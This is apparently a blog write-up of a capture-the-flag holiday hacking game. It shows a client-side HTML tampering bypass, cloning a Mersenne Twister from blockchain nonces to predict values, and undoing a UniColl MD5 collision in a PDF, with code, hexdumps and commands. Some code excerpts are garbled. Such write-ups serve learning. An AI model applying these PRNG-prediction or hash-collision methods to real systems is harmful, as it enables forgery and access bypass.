Father Time Castle, new oversized furnace to be installed by Heat Miser Furnace, Inc.  Mr. H. Miser described the plan for installing new furnace to replace the faltering one in Mr. Time’s 20,000 sq ft castle. Ms. G. Breaddie pointed out that the proposed new furnace is 900,000,000 BTUs, a figure she considers “incredibly high for a building that size, likely two orders of magnitude too high.  Why, it might burn the whole North Pole down!”  Mr. H. Miser replied with a laugh, “That’s the whole point!
”  The board voted unanimously to reject the initial proposal, recommending that Mr. Miser devise a more realistic and safe plan for Mr. Time’s castle heating system.

Motion to adjourn – So moved, Krampus.  Second – Clarice. All in favor – aye. None opposed, although Chairman Frost made another note of his strong disagreement with the approval of the Kringle Castle expansion plan.  Meeting adjourned.

Tanta Kringle recused herself, due to her conflict of interest as Kris Kringle’s adoptive mother.

Good for her.

Defeat Fingerprint Sensor

Bypass the Santavator fingerprint sensor. Enter Santa’s office without Santa’s fingerprint.

First things first - I have to go back “into the light”, or, as the case may be, the portrait.

Once I’m back to my normal self, I step into the elevator and open up my browser developer tools.

Clicking on the first-floor button, I see a POST request:



Seems straightforward enough - we send a POST request with the floor we want. Looking at the HTML for the buttons, it’s seems we can easily manipulate the button states:

<button class="btn btn1 powered" data-floor="1">1</button>
<button class="btn btn15" data-floor="1.5">1.5</button>`
<button class="btn btn2 powered" data-floor="2">2</button>
<button class="btn btn3" data-floor="3">3</button>
<button class="btn btnr" data-floor="r">R</button>

To “activate” the third floor button, despite the fact that I’m not Santa, I simply alter the data-floor attribute for one of the floors that are active:

<button class="btn btn3 powered" data-floor="3">1</button>

Then simply hit the button for the “first” floor, tranporting me to Santa’s office.

Naughty Nice List

Even though the chunk of the blockchain that you have ends with block 129996, can you predict the nonce for block 130000? Talk to Tangle Coalbox in the Speaker UNpreparedness Room for tips on prediction and Tinsel Upatree for more tips and tools. (Enter just the 16-character hex value of the nonce)

The “list” can be downloaded here

Talking to Tinsel Upatree, the elf standing next to the list, he links us to these tools. The unzipped contents are a Docker image definition and its assets, which I then built with docker build ./. I then ran that container with the blockchain.dat mounted into the container using sudo docker run -it -v $(pwd):/mnt/blockchain 12d9fa32fd83.

I then modified the main portion of the script to output me a CSV of block indexes and nonces:

if __name__ == '__main__':
    with open('OfficialNaughtyNiceBlockchainEducationPack/official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(
        c2 = Chain(load=True, filename='blockchain.dat')
        for x in c2.blocks:
            print(",".join((str(x.index), str(x.nonce))))

Taking a peek at our output, it’s clear that we’re dealing with 64-bit numbers:


Given that the code we previously used to defeat PRNGs generated 32-bit numbers, we’ll need to make some new code to handle the generation of 64-bit wide numbers.

This was my resulting diff:

@@ -122,13 +122,13 @@
     def __init__(self, seed):
         w, n, m, r = 32, 624, 397, 31
         a, f = 0x9908b0df, 1812433253
-        W = 0xffffffff
+        W = 0xffffffffffffffff

         # Create a length n array to store the state of the generator
         self.MT = MT = [] # n size

Now, I need to find a distinct set of n - 624 - numbers, from the start of a Mersenne state cycle. Given our lower bound index of 128449, we’ll be using the nonces for indices 128544 through 129168 - the 208th iteration.

with open("/home/micrictor/blockchain/nonces.csv", "r") as input_file:
    lines = [line.split(',') for line in input_file.readlines()]

targets = [int(line[1]) for line in lines[94:94+624]]
cloned_generator = iter(clone_mt19937(targets))

for i in range(129167, 130001):
    print(f"{i} {next(cloned_generator)}")

Can you spot the bug?

That’s right - I’m off-by-one. The output that I initially believed to be the 129999th nonce was, in fact, the correct answer: 6270808489970332317, or 0x57066318f32f729d.

Part 2

The SHA256 of Jack’s altered block is: 58a3b9335a6ceb0234c12d35a0564c4e f0e90152d0eb2ce2082383b38028a90f. If you’re clever, you can recreate the original version of that block by changing the values of only 4 bytes. Once you’ve recreated the original block, what is the SHA256 of that block?

A bit of context from Tinsel Upatree:

Jack Frost is the nicest being in the world! Jack Frost!?! As you know, we only really start checking the Naughty/Nice totals as we get closer to the holidays. Out of nowhere, Jack Frost has this crazy score… positive 4,294,935,958 nice points! No one has EVER gotten a score that high! No one knows how it happened. Most of us recall Jack having a NEGATIVE score only a few days ago… Worse still, his huge positive score seems to have happened way back in March. Our first thought was that he somehow changed the blockchain - but, as you know, that isn’t possible.

First, we need to find the block in question. This is quickly done by modifying the again to use the SHA256 hash instead of MD5 in the Block. method, then dumping all documents and printing the summary for the matching block. This yields:

Document dumped as: 129459.pdf
Chain Index: 129459
              Nonce: a9447e5771c704f4
                PID: 0000000000012fd1
                RID: 000000000000020f
     Document Count: 2
              Score: ffffffff (4294967295)
               Sign: 1 (Nice)
         Data item: 1
               Data Type: ff (Binary blob)
             Data Length: 0000006c
                    Data: b'ea465340303a6079d3df2762be68467c27f046d3a7ff4e92dfe1def7407f2a7b73e1b759b8b919451e37518d22d987296fcb0f188dd60388bf20350f2a91c29d0348614dc0bceef2bcadd4cc3f251ba8f9fbaf171a06df1e1fd8649396ab86f9d5118cc8d8204b4ffe8d8f09'
         Data item: 2
               Data Type: 05 (PDF)
<lots of data>
Date: 03/24
               Time: 13:21:41
       PreviousHash: 4a91947439046c2dbaa96db38e924665
  Data Hash to Sign: 347979fece8d403e06f89f8633b5231a
          Signature: b'MJIxJy2iFXJRCN1EwDsqO9NzE2Dq1qlvZuFFlljmQ03+erFpqqgSI1xhfAwlfmI2MqZWXA9RDTVw3+aWPq2S0CKuKvXkDOrX92cPUz5wEMYNfuxrpOFhrK2sks0yeQWPsHFEV4cl6jtkZ//OwdIznTuVgfuA8UDcnqCpzSV9Uu8ugZpAlUY43Y40ecJPFoI/xi+VU4xM0+9vjY0EmQijOj5k89/AbMAD2R3UbFNmmR61w7cVLrDhx3XwTdY2RCc3ovnUYmhgPNnduKIUA/zKbuu95FFi5M2r6c5Mt6F+c9EdLza24xX2J4l3YbmagR/AEBaF9EBMDZ1o5cMTMCtHfw=='

Looking at the code, we can see the list of fields used in the hash:

def block_data(self):
  s = (str('%016.016x' % (self.index)).encode('utf-8'))
  s += (str('%016.016x' % (self.nonce)).encode('utf-8'))
  s += (str('%016.016x' % ('utf-8'))
  s += (str('%016.016x' % (self.rid)).encode('utf-8'))
  s += (str('%1.1i' % (self.doc_count)).encode('utf-8'))
  s += (str(('%08.08x' % (self.score))).encode('utf-8'))
  s += (str('%1.1i' % (self.sign)).encode('utf-8'))
  for d in
    s += (str('%02.02x' % d['type']).encode('utf-8'))
    s += (str('%08.08x' % d['length']).encode('utf-8'))
    s += d['data']
  s += (str('%02.02i' % (self.month)).encode('utf-8'))
  s += (str('%02.02i' % ('utf-8'))
  s += (str('%02.02i' % (self.hour)).encode('utf-8'))
  s += (str('%02.02i' % (self.minute)).encode('utf-8'))
  s += (str('%02.02i' % (self.second)).encode('utf-8'))
  s += (str(self.previous_hash).encode('utf-8'))

In short, that’s the block metadata, the “score”, and whether the person identified by PID is Naughty or Nice (self.flag). With that in mind, I alter the Chain.save_a_block method to save just block_data to disk, instead of block_data_signed, as the latter includes the block hash itself and the signature, which would not be considered in the hashing of a block. After quickly saving the block:

c2 = Chain(load=True, filename='blockchain.dat')

I can validate that I do have the right hash for the data:

micrictor@DESKTOP-5SEN25E:~/blockchain$ md5sum block.dat
347979fece8d403e06f89f8633b5231a  block.dat

Which matches our previous output:

  Data Hash to Sign: 347979fece8d403e06f89f8633b5231a

Now, given that a score of 0xffffffff is a single bit away from being a negative number, I assume that this byte was one of four changed. The other byte definitely changed was the “naughty/nice” flag. Two of four down - not bad.

For the PDF, I used pdf-parser to take a look at the reference tree. It became quickly apparent that there’s a handful of unused, and therefore unrendered, objects:

micrictor@DESKTOP-5SEN25E:~/blockchain$ pdf-parser 129459.pdf
This program has not been tested with this version of Python (3.8.5)
Should you encounter problems, please use Python version 3.7.5
PDF Comment '%PDF-1.3\n'

PDF Comment '%%\xc1\xce\xc7\xc5!\n\n'

obj 1 0
 Type: /Catalog
 Referencing: 2 0 R

    /Type /Catalog
    /_Go_Away /Santa
    /Pages '2 0 R      0ùÙ¿W\x8e<ªå\rx\x8fç`ó\x1dd¯ª\x1e¡ò¡=cu>\x1a¥¿\x80bOÃF¿ÖgÊ÷I\x95\x91Ä\x02\x01í«\x03¹ï\x95\x99\x1c[I\x9f\x86Ü\x859\x85\x90\x99\xadT°\x1es?姤\x89¹2\x95ÿTh\x03MIy8èù¸Ë:ÃÏPð\x1b2[\x9b\x17tu\x95B+sxð%\x02á©°¬\x85(\x01z\x9e'

obj 2 0
 Type: /Pages
 Referencing: 23 0 R

    /Type /Pages
    /Count 1
    /Kids [23 0 R]

obj 3 0
 Type: /Pages
 Referencing: 15 0 R

    /Type /Pages
    /Count 1
    /Kids [15 0 R]

Object three is the one I’m referring to. Also of note is all that noise in the Pages property of object 1 (the PDF catalog) - the introduction of such non-standard bytes is typically used to create hash collisions.

By altering the PDF Catalog to refer to object 3 for the pages, we get a very different PDF, contents below:

“Earlier today, I saw this bloke Jack Frost climb into one of our cages and repeatedly kick a wombat. I
don’t know what’s with him… it’s like he’s a few stubbies short of a six-pack or somethin’. I don’t think
the wombat was actually hurt… but I tell ya, it was more ‘n a bit shook up. Then the bloke climbs outta
the cage all laughin’ and cacklin’ like it was some kind of bonza joke. Never in my life have I seen
someone who was that bloody evil...”

Quote from a Sidney (Australia) Zookeeper

I have reviewed a surveillance video tape showing the incident and found that it does, indeed, show
that Jack Frost deliberately traveled to Australia just to attack this cute, helpless animal. It was

I tracked Frost down and found him in Nepal. I confronted him with the evidence and, surprisingly, he
seems to actually be incredibly contrite. He even says that he’ll give me access to a digital photo that
shows his “utterly regrettable” actions. Even more remarkably, he’s allowing me to use his laptop to
generate this report – because for some reason, my laptop won’t connect to the WiFi here.
He says that he’s sorry and needs to be “held accountable for his actions.” He’s even said that I should
give him the biggest Naughty/Nice penalty possible. I suppose he believes that by cooperating with me,
that I’ll somehow feel obliged to go easier on him. That’s not going to happen… I’m WAAAAY
smarter than old Jack.

Oh man… while I was writing this up, I received a call from my wife telling me that one of the pipes in
our house back in the North Pole has frozen and water is leaking everywhere. How could that have

Jack is telling me that I should hurry back home. He says I should save this document and then he’ll go
ahead and submit the full report for me. I’m not completely sure I trust him, but I’ll make myself a
note and go in and check to make absolutely sure he submits this properly.
Shinny Upatree


So, we now have two bytes - the Naughty/Nice state and the object to be read. Now, to make the hashes collide.

After some research, including the linked repository, I narrowed in on the method that Jack used to create the collision - Unicoll.

While I won’t pretend to fully understand the “why” behind Unicoll, the general idea is straightforward enough. Given a chosen prefix, in this case either the PDF header or the block metadata, a 64-byte block can be generated to exert control over the resulting hash. Relevant to our use case, single-bit changes in low-order bits, such as changing our “niceness” flag from 1 to 0, or changing the PDF object reference from “2” to “3”, can be made to result in the same MD5 hash by altering a corresponding byte in a chosen 64-byte buffer. The 64-bit block size for MD5 becomes important when trying to “undo” this collision.

Incidentally, the FLAME malware used a similar technique to sign their implant, making it appear legitimate. You can view the research for that here.

Our first change to the “Naughty/Nice” field occurs at offset 0x49.

00000000: 3030 3030 3030 3030 3030 3031 6639 6233  000000000001f9b3
00000010: 6139 3434 3765 3537 3731 6337 3034 6634  a9447e5771c704f4
00000020: 3030 3030 3030 3030 3030 3031 3266 6431  0000000000012fd1
00000030: 3030 3030 3030 3030 3030 3030 3032 3066  000000000000020f
00000040: 3266 6666 6666 6666 6631 6666 3030 3030  2ffffffff1ff0000
00000050: 3030 3663 ea46 5340 303a 6079 d3df 2762  006c.FS@0:`y..'b
00000060: be68 467c 27f0 46d3 a7ff 4e92 dfe1 def7  .hF|'.F...N.....
00000070: 407f 2a7b 73e1 b759 b8b9 1945 1e37 518d  @.*{s..Y...E.7Q.
00000080: 22d9 8729 6fcb 0f18 8dd6 0388 bf20 350f  "..)o........ 5.
00000090: 2a91 c29d 0348 614d c0bc eef2 bcad d4cc  *....HaM........

As 0x49 modulo 64 is 9, we know that the 9th byte is the “target”. I think it’s fair to assume that the binary file starting at offset 0x53 marks the start of the Unicoll buffer. In order to find the exact byte we need to change, we need to first find the start of the next 64-byte buffer in the file, then add 9 to that.

micrictor@DESKTOP-5SEN25E:~/blockchain$ python
Python 3.8.5 (default, Jul 28 2020, 12:59:40)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> target_offset = 0x49 % 64
>>> buffer_start = 0x53
>>> unicoll_start = buffer_start + (64 - buffer_start % 64)
>>> hex(unicoll_start + target_offset)

At that offset, we see 0xd6. Since our change to the “Naughty/Nice” field was to subtract one, we need to add one to this value, giving us 0xd7. I did this using an xxd dump, but it’s probably much simpler to do this in a text editor of your choosing.

Using this same logic, I examined the second byte we changed - the PDF object reference.

000000c0: 3035 3030 3030 3966 3537 2550 4446 2d31  0500009f57%PDF-1
000000d0: 2e33 0a25 25c1 cec7 c521 0a0a 3120 3020  .3.%%....!..1 0
000000e0: 6f62 6a0a 3c3c 2f54 7970 652f 4361 7461  obj.<</Type/Cata
000000f0: 6c6f 672f 5f47 6f5f 4177 6179 2f53 616e  log/_Go_Away/San
00000100: 7461 2f50 6167 6573 2032 2030 2052 2020  ta/Pages 2 0 R
00000110: 2020 2020 30f9 d9bf 578e 3caa e50d 788f      0...W.<...x.
00000120: e760 f31d 64af aa1e a1f2 a13d 6375 3e1a  .`..d......=cu>.
00000130: a5bf 8062 4fc3 46bf d667 caf7 4995 91c4  ...bO.F..g..I...
00000140: 0201 edab 03b9 ef95 991c 5b49 9f86 dc85  ..........[I....
00000150: 3985 9099 ad54 b01e 733f e5a7 a489 b932  9....T..s?.....2
00000160: 95ff 5468 034d 4979 38e8 f9b8 cb3a c3cf  ..Th.MIy8....:..
00000170: 50f0 1b32 5b9b 1774 7595 422b 7378 f025  P..2[..tu.B+sx.%

Using the same math, we can see that the change we made at file offset 0x109 is, again, 9 blocks away from the start of the 64-byte block. Interestingly, in this case, the Unicoll block is hidden inside the PDF object starting at file offset 0x114. Reapplying the logic above, we see that we need to change the byte at file offset 0x149. This time, since we added to the target byte, we’ll subtract from the corresponding byte in the Unicoll buffer - changing 0x1c to 0x1b.

Saving our changes to a new file named my_block.dat, we can validate that the MD5 hashes for just the block data match:

micrictor@DESKTOP-5SEN25E:~/blockchain$ md5sum 
347979fece8d403e06f89f8633b5231a  my_block.dat
micrictor@DESKTOP-5SEN25E:~/blockchain$ md5sum block.dat
347979fece8d403e06f89f8633b5231a  block.dat

This is only the first part of a “block” in the blockchain though. If you recall from the initial output, a block also includes the “Data Hash to Sign” - the MD5 we just collided - and the signature data - a base64 encoded RSA signature. Appending these two strings to the end of our block using bash, we then get the SHA256 hash to complete the challenge:

micrictor@DESKTOP-5SEN25E:~/blockchain$ echo -n "347979fece8d403e06f89f8633b5231a" >> my_block.dat
micrictor@DESKTOP-5SEN25E:~/blockchain$ echo -n "MJIxJy2iFXJRCN1EwDsqO9NzE2Dq1qlvZuFFlljmQ03+erFpqqgSI1xhfAwlfmI2MqZWXA9RDTVw3+aWPq2S0CKuKvXkDOrX92cPUz5wEMYNfuxrpOFhrK2sks0yeQWPsHFEV4cl6jtkZ//OwdIznTuVgfuA8UDcnqCpzSV9Uu8ugZpAlUY43Y40ecJPFoI/xi+VU4xM0+9vjY0EmQijOj5k89/AbMAD2R3UbFNmmR61w7cVLrDhx3XwTdY2RCc3ovnUYmhgPNnduKIUA/zKbuu95FFi5M2r6c5Mt6F+c9EdLza24xX2J4l3YbmagR/AEBaF9EBMDZ1o5cMTMCtHfw==" >> my_block.dat
micrictor@DESKTOP-5SEN25E:~/blockchain$ sha256sum my_block.dat
fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb  my_block.dat


Going out on the balcony as myself (not posing as Santa), I meet Eve Snowshoes, Santa and Jack Frost (in a prison onsie).

Eve tells us:

What a fantabulous job! Congratulations! You MUST let us know how you did it! Feel free to show off your skills with some swag - only for our victors!

Santa says:

Thank you for foiling Jack’s foul plot! He sent that magical portrait so he could become me and destroy the holidays! Due to your incredible work, you have set everything right and saved the holiday season! Congratulations on a job well done!

And, finally, Jack says:

My plan was NEARLY perfect… but I never expected someone with your skills to come around and ruin my plan for ruining the holidays! And now, they’re gonna put me in jail for my deeds.

Boo hoo, Jack.

Christmas is saved!

Extra Challenges

This year, there’s only really one “Easter Egg” - at least, that I found.

Santa’s Portrait

In the Castle entryway, Santa says:

Welcome to my newly upgraded castle! Also, check out that big portrait behind me! I received it in the mail a couple of weeks ago – a wonderful house warming present from an anonymous admirer. Gosh, I wonder who sent it. I’m so thankful for the gift! Please feel free to explore my upgraded castle and enjoy the KringleCon talks upstairs. You can get there through my new Santavator!

Downloading the image for the portrait and looking at the start of the file in a hexdump provided by xxd santa_portrait.jpg, we get the following:

00000000: ffd8 ffe1 0018 4578 6966 0000 4949 2a00  ......Exif..II*.
00000010: 0800 0000 0000 0000 0000 0000 ffec 0011  ................
00000020: 4475 636b 7900 0100 0400 0000 6400 00ff  Ducky.......d...
00000030: e103 7c68 7474 703a 2f2f 6e73 2e61 646f  ..|http://ns.ado

To make sense of this, I consulted the EXIF specification document. In the EXIF document, I learned that the 5 bytes immediately after the literal “Exif” are TIFF headers.

The information in the TIFF header is as follows:

  • “II” indicating that the data is stored little-endian
  • 0x2A, or 42, indicating that it is a TIFF file
  • 8, the offset from the end of the header to the first Image File Directory - where the picture actually lives

That’s all a very roundabout way of saying - the data at the beginning of the file is not the actual image, it’s just metadata about that image.

And old hackernews thread says that the string “Ducky” means that the image was saved for web, which makes sense as we downloaded it from the internet.

Using exiftool turned up equally unintersting results:

micrictor@DESKTOP-5SEN25E:~$ exiftool santa_portrait.jpg
ExifTool Version Number         : 11.88
File Name                       : santa_portrait.jpg
Directory                       : .
File Size                       : 5.3 MB
File Modification Date/Time     : 2020:12:08 09:33:01-08:00
File Access Date/Time           : 2020:12:13 15:59:10-08:00
File Inode Change Date/Time     : 2020:12:13 15:58:53-08:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Little-endian (Intel, II)
Quality                         : 100%
XMP Toolkit                     : Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22
Original Document ID            : 281AA231F2925574843BE83B25071FEB
Document ID                     : xmp.did:2A4B79C5371711EB80AF84C56F5D52AA
Instance ID                     : xmp.iid:2A4B79C4371711EB80AF84C56F5D52AA
Creator Tool                    : Adobe Photoshop 2020 Windows
Derived From Instance ID        : xmp.iid:41aac7aa-26f4-d149-81f0-a9fef4ceaea9
Derived From Document ID        : adobe:docid:photoshop:96da360d-24ec-e14e-bead-51deb55e0097
DCT Encode Version              : 100
APP14 Flags 0                   : [14], Encoded with Blend=1 downsampling
APP14 Flags 1                   : (none)
Color Transform                 : YCbCr
Image Width                     : 3447
Image Height                    : 4648
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 3447x4648
Megapixels                      : 16.0

Taking a step back, I quickly recognized that there are letters hidden throughout the image - the most easily visible at first is the “T” on Santa’s hand


Writing down the letters roughly as you would read English (Left to right, top to bottom), we get:


At this point, with only two challenges complete, I just feel vaugely threatened by this.


As always, this year’s Holiday Hack was a fun way to explore some aspects of information security I otherwise never would have. In particular, I learned how to “hack” non-cryptographically secure pseudorandom number generators and create MD5 collisions. I also appreciated the ability to play around some in Scapy - while I’d done it before, I always find playing around in the network layer fun and interesting.

I look forward to next year!

Written on January 10, 2021